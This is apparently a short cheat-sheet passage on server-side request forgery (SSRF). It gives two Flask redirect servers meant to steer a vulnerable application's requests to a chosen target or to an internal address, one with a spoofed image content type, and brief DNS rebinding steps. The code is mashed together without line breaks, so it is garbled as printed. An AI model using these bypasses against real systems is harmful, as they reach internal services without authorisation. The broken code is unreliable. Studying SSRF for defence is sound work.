It occurs when an application accepts input from the user (URL, GET, POST, HEADER, PARAMETER, etc.), which is not properly verified, to make HTTP requests to another internal or external resource.
from flask import Flask, redirectapp =Flask(__name__)@app.route('/')defredirect_to_new_page():returnredirect('<TARGET_SITE>', code=302)if__name__=='__main__': app.run(host='0.0.0.0', port=80)
from flask import Flask, redirect, make_responseapp =Flask(__name__)@app.route('/')defindex():# Create a response with a redirect and set the desired content type. response =make_response(redirect('http://0.0.0.0/internal.php')) response.headers['Content-Type']='image/png'return responseif__name__=='__main__': app.run(debug=True)
DNS Rebinding
Set up a DNS server that performs constant switching between two IPs.
Use Rebinder, set up the two ip's for continuous switching, get the domain to use.